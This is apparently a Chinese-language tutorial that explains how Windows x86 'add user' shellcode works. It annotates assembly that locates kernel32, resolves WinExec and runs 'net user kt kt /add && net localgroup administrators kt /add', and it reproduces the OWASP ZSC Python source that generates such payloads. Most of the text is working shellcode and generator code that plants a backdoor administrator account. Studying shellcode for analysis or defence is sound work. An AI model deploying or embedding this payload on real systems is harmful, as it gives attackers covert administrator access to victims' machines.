前言
- 在上一篇文章上使用到的添加用户的shellcode是怎么得到的呢？
- 先来拆分一下汇编的功能
;寻找kernel32.dll的基地址
xor ecx,ecx
mov eax,dword ptr fs:[ecx+30h] ; EAX = PEB
mov eax,dword ptr [eax+0Ch] ; EAX = PEB->Ldr
mov esi,dword ptr [eax+14h] ; ESI = PEB->Ldr.InMemOrder
lods dword ptr [esi] ; EAX = Second module
xchg eax,esi ; EAX = ESI, ESI = EAX
lods dword ptr [esi] ; EAX = Third(kernel32)
mov ebx,dword ptr [eax+10h] ; EBX = Base address
;查找kernel32.dll的导出表
mov edx,dword ptr [ebx+3Ch] ; EDX = DOS->e_lfanew
add edx,ebx ; EDX = PE Header
mov edx,dword ptr [edx+78h] ; EDX = Offset export table
add edx,ebx; EDX = Export table
mov esi,dword ptr [edx+20h] ; ESI = Offset names table
add esi,ebx; ESI = Names table
xor ecx,ecx ; EXC = 0
;循环查找GetProcAddress函数
Get_Function:
inc ecx; Increment the ordinal
lods dword ptr [esi]; Get name offset
add eax,ebx ; Get function name
cmp dword ptr [eax],50746547h ; GetProcAddress
jne 0012FE9B;Get_Function
cmp dword ptr [eax+4],41636F72h; rocAddress
jne 0012FE9B;Get_Function
cmp dword ptr [eax+8],65726464h; ddress
jne 0012FE9B;Get_Function
;寻找GetProcAddress 函数
mov esi,dword ptr [edx+24h]; ESI = Offset ordinals
add esi,ebx ; ESI = Ordinals table
mov cx,word ptr [esi+ecx*2] ; CX = Number of function
dec ecx
mov esi,dword ptr [edx+1Ch]; ESI = Offset address table
add esi,ebx; ESI = Address table
mov edx,dword ptr [esi+ecx*4] ; EDX = Pointer(offset)
add edx,ebx ; EDX = GetProcAddress
push ebx;PUSH kernel32.Base address
push edx;PUSH kernel32.GetProcAddress
;寻找WinExec函数地址
xor ecx,ecx ; ECX = 0
push ecx; PUSH ECX
mov ecx,61636578h;string acex
push ecx;PUSH ECX
sub dword ptr [esp+3],61h;Remove "a" ESP=&0012FE18--->string xec
push 456E6957h;string EniW
push esp;PUSH ESP WinExec
push ebx;PUSH EBX kernel32.Base address
call edx;CALL GetProcAddress
add esp,8;ESP+8
pop ecx;ECX=0
push eax;PUSH EAX-->kernel32.WinExec Addresss
;赋值命令行字符串
xor ecx,ecx;ECX=0
push ecx;PUSH ECX
push 64646190h;string dda[90]
pop ecx;ECX=string dda[90]
shr ecx,8;ECX=00646461 string dda
push ecx;PUSH ECX
push 2F20746Bh
push 2073726Fh
push 74617274h
push 73696E69h
push 6D646120h
push 70756F72h
push 676C6163h
push 6F6C2074h
push 656E2026h
push 26206464h
push 612F2074h
push 6B20746Bh
push 20726573h
push 75207465h
push 6E20632Fh
push 20657865h
push 2E646D63h
xor ebx,ebx;EBX=0
mov ebx,esp;EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
xor ecx,ecx;ECX=0
inc ecx;EXC=1
push ecx;PUSH ECX=1
push ebx;PUSH EBX="cmd.exe /c net user kt kt /add && net localgroup administrators kt /add"
call eax;CALL WinExec
;堆栈平衡
add esp,50h;ESP+50h
pop edx;EDX=kernel32.GetProcAddress
pop ebx;EBX=kernel32.Base Address
;退出程序
xor ecx,ecx;ECX=0
mov ecx,61737365h;string asse
push ecx;PUSH ECX
sub dword ptr [esp+3],61h;Remove "a"
push 636F7250h;string ; Proc
push 74697845h;string ; Exit
push esp;string "ExitProcess"
push ebx;kernel32.dll base address
call edx; GetProcAddress(Exec)
xor ecx,ecx; ECX = 0
push ecx; Return code = 0
call eax; ExitProcessOWASP-ZSC部分源码
- 添加用户的汇编指令
#!/usr/bin/env python
'''
OWASP ZSC
https://www.owasp.org/index.php/OWASP_ZSC_Tool_Project
https://github.com/zscproject/OWASP-ZSC
http://api.z3r0d4y.com/
https://groups.google.com/d/forum/owasp-zsc [ owasp-zsc[at]googlegroups[dot]com ]
'''
from core import stack
from math import ceil
def add_admin(command_hex, command):
return '''
xor %ecx,%ecx
mov %fs:0x30(%ecx),%eax
mov 0xc(%eax),%eax
mov 0x14(%eax),%esi
lods %ds:(%esi),%eax
xchg %eax,%esi
lods %ds:(%esi),%eax
mov 0x10(%eax),%ebx
mov 0x3c(%ebx),%edx
add %ebx,%edx
mov 0x78(%edx),%edx
add %ebx,%edx
mov 0x20(%edx),%esi
add %ebx,%esi
xor %ecx,%ecx
inc %ecx
lods %ds:(%esi),%eax
add %ebx,%eax
cmpl $0x50746547,(%eax)
jne 23 <.text+0x23>
cmpl $0x41636f72,0x4(%eax)
jne 23 <.text+0x23>
cmpl $0x65726464,0x8(%eax)
jne 23 <.text+0x23>
mov 0x24(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,2),%cx
dec %ecx
mov 0x1c(%edx),%esi
add %ebx,%esi
mov (%esi,%ecx,4),%edx
add %ebx,%edx
push %ebx
push %edx
xor %ecx,%ecx
push %ecx
mov $0x61636578,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x456e6957
push %esp
push %ebx
call *%edx
add $0x8,%esp
pop %ecx
push %eax
xor %ecx,%ecx
push %ecx
{0}
xor %ebx,%ebx
mov %esp,%ebx
xor %ecx,%ecx
inc %ecx
push %ecx
push %ebx
call *%eax
add ${1},%esp
pop %edx
pop %ebx
xor %ecx,%ecx
mov $0x61737365,%ecx
push %ecx
subl $0x61,0x3(%esp)
push $0x636f7250
push $0x74697845
push %esp
push %ebx
call *%edx
xor %ecx,%ecx
push %ecx
call *%eax
'''.format(command_hex, hex(int(8 + 4 * (ceil(len(command) / float(4))))))
def run(data):
username = data[0]
passsword = data[1]
command = "cmd.exe /c net user " + username + " " + passsword + " /add && net localgroup administrators " + username + " /add"
return add_admin(stack.generate(command, "%ecx", "string"), command)
拿到用户和密码后拼接成添加用户名的命令行，调用核心模块里的generate函数，生成要执行的命令行存进ecx寄存器里，再根据命令行十六进制的长度提升堆栈空间。
generate函数的源码
def generate(data, register, gtype):
length = len(data)
if gtype == 'int':
flag_8 = True
try:
data = hex(int(data, 8))
except:
flag_8 = False
if flag_8 is False:
try:
data = hex(int(data, 16))
except:
error('hex or digit required!\nExit\n')
sys.exit(0)
if gtype == 'string':
data = st(data)
if length <= 3:
if gtype == 'string':
data = str('0x') + str(data)
if len(data) % 2 is not 0:
data = data.replace('0x', '0x0')
if len(data) is 8:
data = data + '90\npop %s\nshr $0x8,%s\npush %s\n' % (
register, register, register)
if len(data) is 6:
data = data + '9090\npop %s\nshr $0x10,%s\npush %s\n' % (
register, register, register)
if len(data) is 4:
data = data + '909090\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
register, register, register, register)
data = str('push $') + str(data)
if length >= 4:
if gtype == 'int':
data = data[2:]
stack_content = data
shr_counter = len(stack_content) % 8
shr = None
if shr_counter is 2:
shr = '\npop %s\nshr $0x10,%s\nshr $0x8,%s\npush %s\n' % (
register, register, register, register)
stack_content = stack_content[0:2] + '909090' + stack_content[2:]
if shr_counter is 4:
shr = '\npop %s\nshr $0x10,%s\npush %s\n' % (register, register,
register)
stack_content = stack_content[0:4] + '9090' + stack_content[4:]
if shr_counter is 6:
shr = '\npop %s\nshr $0x8,%s\npush %s\n' % (register, register,
register)
stack_content = stack_content[0:6] + '90' + stack_content[6:]
zshr = shr
m = int(len(stack_content))
n = int(len(stack_content) / 8)
file_shellcode = ''
if (len(stack_content) % 8) is 0:
shr_n = 0
r = ''
while (n is not 0):
if shr is not None:
shr_n += 1
zx = m - 8
file_shellcode = 'push $0x' + str(stack_content[
zx:m]) + '\n' + file_shellcode
m -= 8
n = n - 1
shr = None
if shr is None:
shr_n += 1
zx = m - 8
file_shellcode = 'push $0x' + str(stack_content[
zx:m]) + '\n' + file_shellcode
m -= 8
n = n - 1
if zshr is None:
file_z = file_shellcode
if zshr is not None:
rep1 = file_shellcode[:16]
rep2 = rep1 + zshr
file_z = file_shellcode.replace(rep1, rep2)
data = file_z
return data- 接受三个参数，data, register, gtype分别是数据，存储到哪一个寄存器，数据类型。